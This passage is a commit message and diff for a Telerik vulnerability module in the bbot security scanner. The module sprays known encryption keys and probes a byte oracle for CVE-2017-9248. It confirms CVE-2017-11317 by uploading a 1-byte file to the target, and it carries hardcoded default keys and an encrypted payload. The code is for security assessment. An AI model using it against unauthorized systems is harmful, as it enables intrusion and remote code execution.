dp_cryptomg find_baseline algorithm: iterate the 3^4 byte combinations of [0x00, 0x6b, 0x08] as GET ?dp= payloads and read for 'Index was outside the bounds of the array' / 'String was not recognized as a valid Boolean'. On hit, emit CRITICAL/CONFIRMED. Reorder DH exploit: try known-key spray first (definitive, recovers the actual keys); only fall back to the byte-oracle baseline probe if no key matches. Oracle probe is gated to PBKDF1_MS mode since the CVE-2017-9248 patch moved to PBKDF2 specifically to defeat it. DialogHandler discovery tries the default path (Telerik.Web.UI. DialogHandler.aspx at root) sequentially first; the handler is global and this produces a less confusing finding URL. Only fan out to the extended candidate list if the default misses. * telerik: safe RAU default-keys probe with fake-version payload Detect CVE-2017-11317 exploitability without uploading a file. Send default-keys payloads targeting a fake assembly version (9999.9.999); if the server responds with 'Could not load file or assembly', crypto succeeded and .NET rejected the bogus version before any file write. Emit HIGH/HIGH 'Telerik RAU Default Keys Accepted' finding. Try each (KDF, HMAC) combination pre-patch targets can use: PBKDF1_MS no-HMAC (pre-2017), PBKDF1_MS with HMAC (2017.1.118 - 2018.1.117), PBKDF2 with HMAC (2018.2+). First hit exits. exploit_rau=True still runs the full version iteration for the CRITICAL/CONFIRMED RCE finding; version identification and RCE confirmation are the same operation. Fix: version fingerprint used to send version 2014.3.1024, a real Telerik version. On a target actually running that version, that was an accidental file upload during 'default' scanning. * telerik: rename exploit_rau -> rau_confirm_version The safe fake-version probe already detects RAU exploitability by default; this opt-in specifically identifies the exact installed version by uploading a benign 1-byte file. Old name misrepresented its role. Description now warns explicitly about the file write. * telerik: expand RAU key spray, version list, verbose flow Safe RAU probe now sprays the full badsecrets keylist (not just the two hardcoded defaults), split into Default vs Known findings by key source. Version list picks up badsecrets' patched set + undotted variants; adopts quoted Version="X" and lowercase C:\\windows\\temp\\ per badsecrets. custom_secrets wired through. rau_confirm_version defers HIGH until version-check runs — CRITICAL alone on match, HIGH fallback (with attempted-but-failed wording) on miss. Verbose step messages throughout. dotnet-audit preset uses rau_confirm_version. * telerik: try both KDFs when DH KDF probe can't classify Post-patch DialogHandlers validate input length before touching crypto, so the short AAAA fingerprint probe returns 'Invalid length for a Base-64' regardless of the actual KDF. Real known-key probes are long enough to pass that gate, so spray PBKDF1_MS then PBKDF2 when the classifier can't tell. Catches weak-custom-key configs on hardened targets that would otherwise fall through with no attempt. * telerik: don't label 'Invalid length for a Base-64' as PATCHED badsecrets sees the same string and silently keeps its initial PBKDF1_MS default; it's an input-length gate, not a patch signal. Returning None makes the exploit path try both KDFs (my prior change), which is strictly more coverage than badsecrets' PBKDF1_MS-only fallback. * telerik: run oracle probe unless target is confirmed PBKDF2 dp_cryptomg does no KDF classification before find_baseline — it just tries the byte oracle and reads response strings. My PBKDF1_MS-only gate skipped legitimate oracle-vulnerable targets whose short KDF-fingerprint probe was rejected by an input-length gate (kdf_mode = None). Only skip when the classifier explicitly reported PBKDF2 (where the CVE-2017-9248 patch fixed the oracle by design). * telerik: DH version detection + RAU version threading Add DialogHandler version detection using the recovered hash/enc keys (safe, size-diff probe, mirrors badsecrets' DialogHandler.probe_version). Emit follows the RAU pattern: CRITICAL/CONFIRMED with version, HIGH/HIGH fallback when target's version isn't in the candidate list. Thread RAU-confirmed version through to DH oracle + known-key findings. Both handlers back onto the same Telerik.Web.UI install, so an RAU-confirmed version fills in the DH side when DH can't identify it directly (strong custom DH keys). Also fix DH known-key test mock to model version detection correctly (assembly type string is base64-encoded inside the plaintext) and assert CRITICAL + version in the finding. * telerik: drop redundant _rau_confirmed tracker; fix stale test copy _rau_confirmed set added nothing on top of _incoming_dedup_hash: URL events dedupe per-netloc (default) or per-normalized-URL (include_subdirs), and either way the same base_url can't reach _probe_rau twice. Also: rename stale exploit_rau -> rau_confirm_version in a test message and add missing f-string prefix on another. --- bbot/modules/telerik.py | 1154 ++++++++++++----- bbot/presets/web/dotnet-audit.yml | 2 +- .../module_tests/test_module_telerik.py | 369 +++++- 3 files changed, 1189 insertions(+), 336 deletions(-) diff --git a/bbot/modules/telerik.py b/bbot/modules/telerik.py index 8fc1462f6c..c09ab31d08 100644 --- a/bbot/modules/telerik.py +++ b/bbot/modules/telerik.py @@ -1,23 +1,40 @@ -from sys import executable +import base64 +import itertools +import re +from pathlib import Path +from typing import Optional + +from Crypto.Cipher import AES +from badsecrets import modules_loaded from bbot.modules.base import BaseModule from bbot.core.config.models import BaseModuleConfig, Field +Telerik_HashKey = modules_loaded["telerik_hashkey"] +Telerik_EncryptionKey = modules_loaded["telerik_encryptionkey"] + + +# Default RAU keys shipped with Telerik.Web.UI pre-R2 2017 SP2 (CVE-2017-11317). +RAU_DEFAULT_ENC_KEY = "PrivateKeyForEncryptionOfRadAsyncUploadConfiguration" +RAU_DEFAULT_HASH_KEY = "PrivateKeyForHashOfUploadConfiguration" + + class telerik(BaseModule): """ - Test for endpoints associated with Telerik.Web.UI.dll - - Telerik.Web.UI.WebResource.axd (CVE-2017-11317) - Telerik.Web.UI.DialogHandler.aspx (CVE-2017-9248) - Telerik.Web.UI.SpellCheckHandler.axd (associated with CVE-2017-9248) - ChartImage.axd (CVE-2019-19790) + Detect Telerik.Web.UI vulnerabilities: - For the Telerik Report Server vulnerability (CVE-2024-4358) Use the Nuclei Template: (https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2024/CVE-2024-4358.yaml) + - CVE-2017-11317: RadAsyncUpload insecure deserialization (RAU) + - CVE-2017-9248: DialogHandler dp encryption-key leak (oracle + known keys) + - CVE-2019-19790: ChartImage.axd path traversal / SpellCheckHandler exposure - With exploit_RAU_crypto enabled, the module will attempt to exploit CVE-2017-11317. THIS WILL UPLOAD A (benign) FILE IF SUCCESSFUL. + Handler surfaces detected: RAU (Telerik.Web.UI.WebResource.axd?type=rau), + DialogHandler (Telerik.Web.UI.DialogHandler.aspx and variants), + SpellCheckHandler (Telerik.Web.UI.SpellCheckHandler.axd), ChartImage.axd, and + SerializedParameters / _serializedConfiguration blobs surfacing in HTTP responses. - Will dedupe to host by default (running against first received URL). With include_subdirs enabled, will run against every directory. + CVE-2024-4358 (Telerik Report Server auth bypass) is not covered here; use the + projectdiscovery/nuclei-templates CVE-2024-4358 template. """ watched_events = ["URL", "HTTP_RESPONSE"] @@ -29,48 +46,49 @@ class telerik(BaseModule): "author": "@liquidsec", } - telerikVersions = [ - "2007.1423", - "2007.1521", - "2007.1626", - "2007.2918", - "2007.21010", - "2007.21107", - "2007.31218", - "2007.31314", - "2007.31425", - "2008.1415", - "2008.1515", - "2008.1619", - "2008.2723", - "2008.2826", - "2008.21001", - "2008.31105", - "2008.31125", - "2008.31314", - "2009.1311", - "2009.1402", - "2009.1527", - "2009.2701", - "2009.2826", - "2009.31103", - "2009.31208", - "2009.31314", - "2010.1309", - "2010.1415", - "2010.1519", - "2010.2713", - "2010.2826", - "2010.2929", - "2010.31109", - "2010.31215", - "2010.31317", - "2011.1315", - "2011.1413", - "2011.1519", - "2011.2712", - "2011.2915", - "2011.31115", + # Pre-CVE-2017-11317 (Telerik shipped default keys until R2 2017 SP2 / 2017.2.711). + _TELERIK_VERSIONS_PREPATCH = [ + "2007.1.423", + "2007.1.521", + "2007.1.626", + "2007.2.918", + "2007.2.1010", + "2007.2.1107", + "2007.3.1218", + "2007.3.1314", + "2007.3.1425", + "2008.1.415", + "2008.1.515", + "2008.1.619", + "2008.2.723", + "2008.2.826", + "2008.2.1001", + "2008.3.1105", + "2008.3.1125", + "2008.3.1314", + "2009.1.311", + "2009.1.402", + "2009.1.527", + "2009.2.701", + "2009.2.826", + "2009.3.1103", + "2009.3.1208", + "2009.3.1314", + "2010.1.309", + "2010.1.415", + "2010.1.519", + "2010.2.713", + "2010.2.826", + "2010.2.929", + "2010.3.1109", + "2010.3.1215", + "2010.3.1317", + "2011.1.315", + "2011.1.413", + "2011.1.519", + "2011.2.712", + "2011.2.915", + "2011.3.1115", "2011.3.1305", "2012.1.215", "2012.1.411", @@ -95,6 +113,7 @@ class telerik(BaseModule): "2014.3.1024", "2015.1.204", "2015.1.225", + "2015.1.401", "2015.2.604", "2015.2.623", "2015.2.729", @@ -103,12 +122,12 @@ class telerik(BaseModule): "2015.3.1111", "2016.1.113", "2016.1.225", + "2016.1.1213", "2016.2.504", "2016.2.607", "2016.3.914", "2016.3.1018", "2016.3.1027", - "2016.1.1213", "2017.1.118", "2017.1.228", "2017.2.503", @@ -117,7 +136,81 @@ class telerik(BaseModule): "2017.3.913", ] - DialogHandlerUrls = [ + # Post-patch versions still show up with placeholder default keys in real deployments + # (admins who copy web.config example values without regenerating). 2018.1.117 is the + # last PBKDF1_MS release before the switch to PBKDF2. + _TELERIK_VERSIONS_PATCHED = [ + "2018.1.117", + "2018.2.516", + "2018.2.710", + "2018.3.910", + "2019.1.115", + "2019.1.215", + "2019.2.514", + "2019.3.917", + "2019.3.1023", + "2020.1.114", + "2020.1.219", + "2020.2.512", + "2020.2.617", + "2020.3.915", + "2020.3.1021", + "2021.1.119", + "2021.1.224", + "2021.1.330", + "2021.2.511", + "2021.2.616", + "2021.3.914", + "2021.3.1111", + "2022.1.119", + "2022.1.302", + "2022.2.511", + "2022.2.622", + "2022.3.913", + "2022.3.921", + "2022.3.1109", + "2023.1.117", + "2023.1.314", + "2023.1.323", + "2023.1.425", + "2023.2.606", + "2023.2.718", + "2023.2.829", + "2023.3.1010", + "2023.3.1114", + "2024.1.130", + "2024.1.312", + "2024.1.319", + "2024.2.513", + "2024.2.514", + "2024.3.806", + "2024.3.924", + "2024.3.1015", + "2024.4.1112", + "2024.4.1113", + "2024.4.1114", + "2025.1.211", + "2025.1.218", + "2025.1.416", + "2025.2.520", + "2025.2.528", + "2025.2.609", + "2025.3.812", + "2025.3.825", + ] + + # Combined pre-patch + patched + undotted variants of pre-patch. Telerik shipped some + # early releases with an undotted revision (2011.3.1115 also appeared as 2011.31115), so + # both formats have to be tried when the target's actual manifest is unknown. + telerik_versions = list( + dict.fromkeys( + _TELERIK_VERSIONS_PREPATCH + + _TELERIK_VERSIONS_PATCHED + + [re.sub(r"\.(?=\d+$)", "", v) for v in _TELERIK_VERSIONS_PREPATCH] + ) + ) + + dialoghandler_urls = [ "Telerik.Web.UI.DialogHandler.aspx", "Telerik.Web.UI.DialogHandler.axd", "Admin/ServerSide/Telerik.Web.UI.DialogHandler.aspx", @@ -152,273 +245,728 @@ class telerik(BaseModule): "WebUIDialogs/Telerik.Web.UI.DialogHandler.aspx", ] - RAUConfirmed = [] - class Config(BaseModuleConfig): - exploit_RAU_crypto: bool = Field(False, description="Attempt to confirm any RAU AXD detections are vulnerable") - include_subdirs: bool = Field(False, description="Include subdirectories in the scan (off by default)") + rau_confirm_version: bool = Field( + False, + description=( + "WARNING: writes a benign 1-byte file to the target's C:\\windows\\temp\\ on success. " + "Iterates candidate Telerik versions with default keys; the version that uploads is " + "the installed one, which also confirms RCE." + ), + ) + include_subdirs: bool = Field( + False, + description="Probe every discovered subdirectory instead of only the site root.", + ) + try_known_keys: bool = Field( + True, + description="After DialogHandler detection, spray known Telerik hash/encryption keys (via badsecrets).", + ) + probe_dialoghandler_oracle: bool = Field( + True, + description="After DialogHandler detection, probe for CVE-2017-9248 oracle-vulnerable state.", + ) + include_machinekeys: bool = Field( + False, + description="Also spray ASP.NET machineKey values (thousands of keys, much slower).", + ) + custom_secrets: Optional[str] = Field( + None, + description="Path to a file with additional Telerik hash/encryption keys to spray, one per line.", + ) in_scope_only = True - deps_pip = ["pycryptodome~=3.23.0"] - - deps_ansible = [ - {"name": "Create telerik dir", "file": {"state": "directory", "path": "#{BBOT_TOOLS}/telerik/"}}, - {"file": {"state": "touch", "path": "#{BBOT_TOOLS}/telerik/testfile.txt"}}, - { - "name": "Download RAU_crypto", - "unarchive": { - "src": "https://github.com/bao7uo/RAU_crypto/archive/refs/heads/master.zip", - "include": "RAU_crypto-master/RAU_crypto.py", - "dest": "#{BBOT_TOOLS}/telerik/", - "remote_src": True, - }, - }, - ] + deps_pip = ["badsecrets~=1.2.1"] _module_threads = 5 + async def setup(self): + # base_url -> Telerik version confirmed via the RAU upload path. The same install + # backs the DialogHandler, so an RAU-confirmed version enriches DH findings too. + self._rau_version_by_base = {} + custom_secrets = self.config.get("custom_secrets", None) + if custom_secrets: + path = Path(custom_secrets).expanduser() + if not path.is_file(): + return False, f"custom_secrets file [{custom_secrets}] not found" + self.info(f"Loaded custom Telerik key list from [{custom_secrets}]") + custom_secrets = str(path) + self._enc = Telerik_EncryptionKey(custom_resource=custom_secrets) + self._hash = Telerik_HashKey(custom_resource=custom_secrets) + return True + @staticmethod - def normalize_url(url): + def _normalize_url(url): return str(url.rstrip("/") + "/").lower() def _incoming_dedup_hash(self, event): if event.type == "URL": if self.config.get("include_subdirs") is True: - return hash(f"{event.type}{self.normalize_url(event.url)}") - else: - return hash(f"{event.type}{event.netloc}") - else: # HTTP_RESPONSE - return hash(f"{event.type}{event.url}") + return hash(f"{event.type}{self._normalize_url(event.url)}") + return hash(f"{event.type}{event.netloc}") + return hash(f"{event.type}{event.url}") + + async def filter_event(self, event): + if event.type == "URL" and "endpoint" in event.tags: + return False + return True async def handle_event(self, event): if event.type == "URL": - if self.config.get("include_subdirs"): - base_url = self.normalize_url(event.url) # Use the entire URL including subdirectories - - else: - base_url = f"{event.parsed_url.scheme}://{event.parsed_url.netloc}/" # path will be omitted - - # Check for RAU AXD Handler - webresource = "Telerik.Web.UI.WebResource.axd?type=rau" - result, _ = await self.test_detector(base_url, webresource) - if result: - if "RadAsyncUpload handler is registered succesfully" in result.text: - self.verbose("Detected Telerik instance (Telerik.Web.UI.WebResource.axd?type=rau)") - - probe_data = { - "rauPostData": ( - None, - "mQheol55IDiQWWSxl+Atkc68JXWUJ6QSirwLhEwleMiw3vN4cwABE74V2fWsLGg8CFXHOP6np90M+sLrLDqFACGNvonxmgT8aBsTZPWbXErewMGNWBP34aX0DmMvXVyTEpQ6FkFhZi19cTtdYfRLI8Uc04uNSsdWnltDMQ2CX/sSLOXUFNnZdAwAXgUuprYhU28Zwh/GdgYh447ksXfAC2fuPqEJqKDDwBlltxsS/zSq8ipIg326ymB2dmOpH/P3hcAmTKOyzB0dW6a6pmJvqNVU+50DlrUC00RbBbTJwlV6Xm4s4XTvgXLvMQ6czz2OAYY18HI+HYX5uvajctj/25UR8edwu68ZCgedsD7EZHRSSthjxohxfAyrfshjcu1LnhCEd0ClowKxBS4eiaLxVxhJAdB7XcbbXxIS9WWKa7gtRMNc/jUAOlIpvOZ3N+bOQ6rsNMHv7TZk1g0bxPl99yBn9qvtAwDMNPDoADxoBSisAkIIl9mImKv7y7nAiKoj7ukApdu5XQuVo10SxwkLkqHcvEEgjxTrOlCbEbxK2/du9TgXxD9iqKyaPLHPzNZsnzCsG6qNXv0fNkeASP9tZAyvi/y1eLrpScE+J7blfT+kBkGPTTFc6Z4z6lN7GqSHofq/CDHC2S2+qdoRdC3C25V74j+Ae6MkpSfqYx4KZYNtxBAxjf9Uf3JVSiZh3X2W/7aFeimFft0h/liybSjJTzO+AwNJluI4kXqemFoHnjVFfUQViaIuk4UP0D861kCU6KIGLZLpOaa0g0KM8hmu3OjwVOy8QVXYtbx5lOmSX9h3imRzMDFRTXK25YpUJgD0/LFMgCeZLA8SCYzkThyN2d8f8n5l8iOScR47o8i8sqCp/fd3JTogSbwD7LxnHudpiw2W/OfpMGipgc6loQFoX4klQaYwKkA4w+GUzahfAJmIiukZuTLOPCPQvX4wKtLqw1YiHtuaLHvLYq2/F66QQXNrZ4SucUNED0p5TUVTvHGUbuA0zxAyYSfYVgTNZjXGguQBY7DsN1SkpCa/ltvIiGtCbHQR86OrvjJMACe0wdpMCqEg7JiGym3RrLqvmjpS&sbZRwxJ96gmXFBSbSvT0ve7jpvDoieqd6RbG+GIP0H7sO5/0ZnvheosB9jQAifuMabY7lW4UzZgr5o2iqE0tBl4SGhfWyYW7iCFXnd3aIuCnUvhT58Rp8g7kGkA/eU/s68E66KOBXNuBnokZR9cIsjE0Tt3Jfxrk018+CmVcXpjXp/RmhRwCJTgEAXQuNplb/KdkLxqDn519iRtbiU6aLZX8YctdFQBqyKVgkk8WYXxcXQ8wYnxtpEtGuBcsndUi1iPp4Od8rYY1HPWg+FIquW17YPHjfP4gO4dhZe4sd7gH0ARyGDjiYVj7ODDE0wGmwmFVdQTrDX5AaxKuJy0NbQ==", - ), - "file": ("blob", b"e1daf48a", "application/octet-stream"), - "fileName": (None, "df8dbc7a"), - "contentType": (None, "text/html"), - "lastModifiedDate": (None, "2020-01-02T08:02:01.067Z"), - "metadata": ( - None, - '{"TotalChunks":1,"ChunkIndex":0,"TotalFileSize":1,"UploadID":"3ea7b19db6c5.txt"}', - ), - } - - version = "unknown" - verbose_errors = False - # send probe - probe_response = await self.helpers.request( - f"{event.url}{webresource}", method="POST", files=probe_data - ) - - if probe_response: - if "Exception Details: " in probe_response.text: - verbose_errors = True - if ( - "Telerik.Web.UI.CryptoExceptionThrower.ThrowGenericCryptoException" - in probe_response.text - ): - version = "Post-2020 (Encrypt-Then-Mac Enabled, with Generic Crypto Failure Message)" - elif "Padding is invalid and cannot be removed" in probe_response.text: - version = "<= 2019 (Either Pre-2017 (vulnerable), or 2017-2019 w/ Encrypt-Then-Mac)" - - description = f"Telerik RAU AXD Handler detected. Verbose Errors Enabled: [{str(verbose_errors)}] Version Guess: [{version}]" - await self.emit_event( - { - "host": str(event.host), - "url": f"{base_url}{webresource}", - "description": description, - "name": "Telerik Handler", - "severity": "INFO", - "confidence": "HIGH", - }, - "FINDING", - event, - context=f"{{module}} scanned {base_url} and identified {{event.type}}: Telerik RAU AXD Handler", - ) - if self.config.get("exploit_RAU_crypto") is True: - if base_url not in self.RAUConfirmed: - self.RAUConfirmed.append(base_url) - root_tool_path = self.scan.helpers.tools_dir / "telerik" - - for version in self.telerikVersions: - command = [ - executable, - str(root_tool_path / "RAU_crypto-master/RAU_crypto.py"), - "-P", - "C:\\\\Windows\\\\Temp", - version, - str(root_tool_path / "testfile.txt"), - result.url, - ] - - # Add proxy if set in the scan config - if self.scan.http_proxy: - command.append(self.scan.http_proxy) - - output = await self.run_process(command) - description = f"Confirmed Vulnerable Telerik (version: {str(version)})" - if "fileInfo" in output.stdout: - self.debug(f"Confirmed Vulnerable Telerik (version: {str(version)}") - await self.emit_event( - { - "severity": "CRITICAL", - "confidence": "CONFIRMED", - "description": description, - "host": str(event.host), - "url": f"{base_url}{webresource}", - "name": "Telerik RCE", - }, - "FINDING", - event, - context=f"{{module}} scanned {base_url} and identified critical {{event.type}}: {description}", - ) - break - - urls = {} - for dh in self.DialogHandlerUrls: - url = self.create_url(base_url, f"{dh}?dp=1") - urls[url] = dh - - fail_count = 0 - async for url, response in self.helpers.request_batch_stream(list(urls)): - # cancel if we run into timeouts etc. - if response is None: - fail_count += 1 - - # tolerate some random errors - if fail_count < 2: - continue - self.debug(f"Cancelling run against {base_url} due to failed request") - break - else: - if "Cannot deserialize dialog parameters" in response.text: - self.debug(f"Detected Telerik UI instance ({dh})") - description = "Telerik DialogHandler detected" - await self.emit_event( - { - "host": str(event.host), - "url": f"{base_url}{dh}", - "description": description, - "name": "Telerik Handler", - "confidence": "CONFIRMED", - "severity": "INFO", - }, - "FINDING", - event, - ) - # Once we have a match we need to stop, because the basic handler (Telerik.Web.UI.DialogHandler.aspx) usually works with a path wildcard - break - - spellcheckhandler = "Telerik.Web.UI.SpellCheckHandler.axd" - result, _ = await self.test_detector(base_url, spellcheckhandler) - status_code = getattr(result, "status_code", 0) - # The standard behavior for the spellcheck handler without parameters is a 500 - if status_code == 500: - # Sometimes webapps will just return 500 for everything, so rule out the false positive - validate_result, _ = await self.test_detector(base_url, f"{self.helpers.rand_string()}.axd") - self.debug(validate_result) - validate_status_code = getattr(validate_result, "status_code", 0) - if validate_status_code not in (0, 500): - self.debug("Detected Telerik UI instance (Telerik.Web.UI.SpellCheckHandler.axd)") - description = "Telerik SpellCheckHandler detected" - await self.emit_event( - { - "host": str(event.host), - "url": f"{base_url}{spellcheckhandler}", - "description": description, - "name": "Telerik Handler", - "confidence": "CONFIRMED", - "severity": "INFO", - }, - "FINDING", - event, - context=f"{{module}} scanned {base_url} and identified {{event.type}}: Telerik SpellCheckHandler", - ) - - chartimagehandler = "ChartImage.axd?ImageName=bqYXJAqm315eEd6b%2bY4%2bGqZpe7a1kY0e89gfXli%2bjFw%3d" - result, _ = await self.test_detector(base_url, chartimagehandler) - status_code = getattr(result, "status_code", 0) - if status_code == 200: - chartimagehandler_error = "ChartImage.axd?ImageName=" - result_error, _ = await self.test_detector(base_url, chartimagehandler_error) - error_status_code = getattr(result_error, "status_code", 0) - if error_status_code not in (0, 200): - await self.emit_event( - { - "host": str(event.host), - "url": f"{base_url}{chartimagehandler}", - "description": "Telerik ChartImage AXD Handler Detected", - "name": "Telerik Handler", - "confidence": "CONFIRMED", - "severity": "INFO", - }, - "FINDING", - event, - context=f"{{module}} scanned {base_url} and identified {{event.type}}: Telerik ChartImage AXD Handler", - ) - + base_url = self._base_url(event) + await self._probe_rau(base_url, event) + dh_url = await self._probe_dialoghandler(base_url, event) + if dh_url: + # RAU + DH run on the same Telerik.Web.UI install, so a version confirmed + # via the RAU upload path (rau_confirm_version=True) also applies to DH. + rau_version = self._rau_version_by_base.get(base_url) + await self._probe_dialoghandler_exploit(dh_url, event, rau_version) + await self._probe_spellcheck(base_url, event) + await self._probe_chartimage(base_url, event) elif event.type == "HTTP_RESPONSE": - resp_body = event.body - url = event.url - if resp_body: - if '":{"SerializedParameters":"' in resp_body: - await self.emit_event( - { - "host": str(event.host), - "url": url, - "description": "Telerik DialogHandler [SerializedParameters] Detected in HTTP Response", - "name": "Telerik Handler", - "confidence": "CONFIRMED", - "severity": "INFO", - }, - "FINDING", - event, - context="{module} searched HTTP_RESPONSE and identified {event.type}: Telerik ChartImage AXD Handler", - ) - elif '"_serializedConfiguration":"' in resp_body: - await self.emit_event( - { - "host": str(event.host), - "url": url, - "description": "Telerik AsyncUpload [serializedConfiguration] Detected in HTTP Response", - "name": "Telerik AsyncUpload", - "confidence": "CONFIRMED", - "severity": "INFO", - }, - "FINDING", - event, - context="{module} searched HTTP_RESPONSE and identified {event.type}: Telerik AsyncUpload", - ) - - def create_url(self, baseurl, detector): - return f"{baseurl}{detector}" - - async def test_detector(self, baseurl, detector): - result = None - url = self.create_url(baseurl, detector) + await self._carve_http_response(event) + + async def _probe_dialoghandler_exploit(self, dh_url, event, rau_version=None): + """ + Known-key spray first (definitive: recovers the actual keys). If nothing matches, + fall back to the dp_cryptomg baseline probe (chosen-plaintext byte-oracle test). + Oracle only runs on PBKDF1_MS targets; the CVE-2017-9248 patch moved to PBKDF2 + specifically to defeat this attack, so probing PBKDF2 is wasted requests. + + `rau_version`, when set, was confirmed by the RAU upload path on the same host — + both handlers back onto the same Telerik.Web.UI install, so the version applies. + """ + kdf_mode = None + if self.config.get("try_known_keys"): + self.verbose(f"Fingerprinting DialogHandler KDF mode at {dh_url}") + kdf_mode = await self._detect_kdf_mode(dh_url) + self.verbose(f"DialogHandler KDF mode: [{kdf_mode}]") + # Post-patch targets validate input length before touching crypto, so the short + # AAAA probe can't reveal KDF. The real known-key probes are long enough to pass + # that gate, so try both modes and let the actual oracle strings tell us. + candidate_kdfs = (kdf_mode,) if kdf_mode in ("PBKDF1_MS", "PBKDF2") else ("PBKDF1_MS", "PBKDF2") + for candidate in candidate_kdfs: + self.verbose(f"Spraying known keys against DialogHandler ({candidate})") + if await self._probe_dialoghandler_knownkey(dh_url, event, candidate, rau_version=rau_version): + return + self.verbose(f"Known-key spray exhausted for {candidate}, no match") + if self.config.get("probe_dialoghandler_oracle"): + if kdf_mode is None: + self.verbose(f"Fingerprinting DialogHandler KDF mode at {dh_url}") + kdf_mode = await self._detect_kdf_mode(dh_url) + self.verbose(f"DialogHandler KDF mode: [{kdf_mode}]") + # dp_cryptomg's byte oracle only works on PBKDF1_MS targets. When the classifier + # gave us None (target validates input length before crypto and never leaks a + # KDF-specific error), the target could still be oracle-vulnerable — try anyway. + if kdf_mode != "PBKDF2": + self.verbose("Running dp_cryptomg find_baseline byte-oracle probe (up to 81 requests)") + await self._probe_dialoghandler_oracle(dh_url, event, rau_version=rau_version) + + def _base_url(self, event): + if self.config.get("include_subdirs"): + return self._normalize_url(event.url) + return f"{event.parsed_url.scheme}://{event.parsed_url.netloc}/" + + # ----------------------------------------------------------------------- + # RAU (CVE-2017-11317) + # ----------------------------------------------------------------------- + + # (KDF mode, HMAC on/off) combinations to try in the safe default-keys probe. + # Covers pre-2017 (PBKDF1_MS + no HMAC), the PBKDF1_MS + HMAC window (2017.1.118 - 2018.1.117), + # and post-PBKDF2 (2018.2+). Any combo hitting the "Could not load file or assembly" signal + # proves the target accepts default keys without triggering a file upload. + _RAU_PROBE_VARIANTS = ( + ("PBKDF1_MS", False), + ("PBKDF1_MS", True), + ("PBKDF2", True), + ) + _RAU_FAKE_VERSION = "9999.9.999" + + async def _probe_rau(self, base_url, event): + webresource = "Telerik.Web.UI.WebResource.axd?type=rau" + url = f"{base_url}{webresource}" result = await self.helpers.request(url, timeout=self.scan.http_timeout) - return result, detector + if not result or "RadAsyncUpload handler is registered succesfully" not in result.text: + return + self.verbose(f"Detected Telerik RAU handler at {url}") + + await self.emit_event( + { + "host": str(event.host), + "url": url, + "description": "Telerik RAU handler detected", + "name": "Telerik RAU Handler", + "severity": "INFO", + "confidence": "HIGH", + }, + "FINDING", + event, + context=f"{{module}} scanned {base_url} and identified {{event.type}}: Telerik RAU Handler", + ) + + # Safe probe: fake-version payloads with each candidate key pair. Assembly load fails + # before any file write, so a hit proves keys+crypto work without persisting anything. + self.verbose(f"Probing RAU for known keys with fake version {self._RAU_FAKE_VERSION} (no upload)") + key_material = await self._probe_rau_known_keys(url) + if key_material is None: + self.verbose(f"RAU key spray exhausted, no known keys accepted at {url}") + return + + kdf_mode, include_hmac, hash_key, enc_key = key_material + self.verbose( + f"RAU accepted key pair (KDF={kdf_mode}, HMAC={include_hmac}) — hash=[{hash_key}] enc=[{enc_key}]" + ) + + if not self.config.get("rau_confirm_version"): + self.verbose("rau_confirm_version disabled; emitting HIGH finding without version identification") + await self._emit_rau_keys_accepted(url, event, key_material, version_attempted=False) + return + + self.verbose( + f"rau_confirm_version enabled; iterating {len(self.telerik_versions)} candidate versions " + "to identify installed one (this will upload a 1-byte file on match)" + ) + if not await self._confirm_rau_version(url, event, base_url, key_material): + # Version identification failed with these keys; fall back to the HIGH finding + # so the user still learns keys are accepted. + self.verbose( + "Version Detection Failed (target version not in candidate list); emitting HIGH keys-accepted finding" + ) + await self._emit_rau_keys_accepted(url, event, key_material, version_attempted=True) + + def _iter_rau_key_pairs(self): + """ + Yield (hash_key, enc_key) candidates for the RAU handler. The labeled RAU defaults + come first (most common), then the full badsecrets keylists if try_known_keys is on. + Duplicates are suppressed. + """ + yield (RAU_DEFAULT_HASH_KEY, RAU_DEFAULT_ENC_KEY) + if not self.config.get("try_known_keys"): + return + include_machinekeys = self.config.get("include_machinekeys", False) + seen = {(RAU_DEFAULT_HASH_KEY, RAU_DEFAULT_ENC_KEY)} + hash_keys = list(self._hash.prepare_keylist(include_machinekeys=include_machinekeys)) + enc_keys = list(self._enc.prepare_keylist(include_machinekeys=include_machinekeys)) + for hk in hash_keys: + for ek in enc_keys: + pair = (hk, ek) + if pair in seen: + continue + seen.add(pair) + yield pair + + async def _probe_rau_known_keys(self, url): + """ + For each (KDF, HMAC) variant × (hash_key, enc_key) pair, POST a fake-version payload. + `Could not load file or assembly` in the response means crypto worked and .NET rejected + the bogus version before touching the file write path. Returns the discovered + (kdf_mode, include_hmac, hash_key, enc_key) or None. Does not emit. + """ + for kdf_mode, include_hmac in self._RAU_PROBE_VARIANTS: + for hash_key, enc_key in self._iter_rau_key_pairs(): + payload = self._build_rau_multipart(self._RAU_FAKE_VERSION, enc_key, hash_key, kdf_mode, include_hmac) + response = await self.helpers.request(url, method="POST", files=payload) + if response and "Could not load file or assembly" in response.text: + self.debug( + f"RAU accepts key pair enc=[{enc_key}] hash=[{hash_key}] (KDF={kdf_mode}, HMAC={include_hmac})" + ) + return (kdf_mode, include_hmac, hash_key, enc_key) + return None + + async def _emit_rau_keys_accepted(self, url, event, key_material, version_attempted): + kdf_mode, include_hmac, hash_key, enc_key = key_material + is_default = (hash_key, enc_key) == (RAU_DEFAULT_HASH_KEY, RAU_DEFAULT_ENC_KEY) + key_label = "Default" if is_default else "Known" + version_note = ( + "Version detection was attempted but failed — target's installed Telerik version is not in the candidate list." + if version_attempted + else "Version detection was not executed." + ) + await self.emit_event( + { + "host": str(event.host), + "url": url, + "description": ( + f"Telerik RAU accepts a {key_label.lower()} key pair. " + f"Hash key: [{hash_key}] Encryption key: [{enc_key}] " + f"KDF: [{kdf_mode}] HMAC: [{include_hmac}]. {version_note}" + ), + "name": f"Telerik RAU {key_label} Keys Accepted (CVE-2017-11317)", + "severity": "HIGH", + "confidence": "HIGH", + }, + "FINDING", + event, + context=f"{{module}} confirmed RAU key acceptance at {url} without uploading", + ) + + async def _confirm_rau_version(self, url, event, base_url, key_material): + """ + Version identification + RCE confirmation. Iterate Telerik versions with the KEY + MATERIAL already proven by the safe probe; the first version producing `fileInfo` + also uploads the benign 1-byte probe file to the target's C:\\windows\\temp\\. + Returns True if a version was matched (and the CRITICAL finding emitted). + """ + kdf_mode, include_hmac, hash_key, enc_key = key_material + for version in self.telerik_versions: + payload = self._build_rau_multipart(version, enc_key, hash_key, kdf_mode, include_hmac) + response = await self.helpers.request(url, method="POST", files=payload) + if response and '"fileInfo":' in response.text: + self.verbose(f"RAU RCE confirmed on version {version}; benign file was uploaded to target") + self._rau_version_by_base[base_url] = version + await 